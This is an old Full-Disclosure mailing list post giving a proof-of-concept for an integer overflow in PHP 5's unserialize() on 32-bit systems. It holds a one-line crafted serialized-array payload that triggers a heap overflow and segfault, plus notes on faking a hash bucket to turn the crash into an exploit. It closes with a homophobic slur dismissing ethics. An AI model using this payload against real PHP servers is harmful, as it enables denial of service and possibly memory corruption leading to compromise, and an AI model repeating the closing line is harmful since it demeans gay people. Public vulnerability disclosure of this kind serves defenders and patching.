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[Full-disclosure] PHP 5 ecalloc memory manager unserialize() array int overflow ia 32 bits poc
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] PHP 5 ecalloc memory manager unserialize() array int overflow ia 32 bits poc
- From: "Slythers Bro" <slythers@xxxxxxxxx>
- Date: Tue, 17 Oct 2006 16:48:48 +0200
<?
print_r(unserialize('a:1073741823:{i:0;s:30:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}'));
?>
in function zend_hash_init() int overflow ( ecalloc() )-> heap overflow
here segfault in zend_hash_find() but it's possible to fake the bucket and
exploit a zend_hash_del_index_or_key
i tried a memory dump , just fake the bucked with the pointer of the
$GLOBALS's bucket but segfault before in memory_shutdown...
don't cry a river :P
ethic is for gayz
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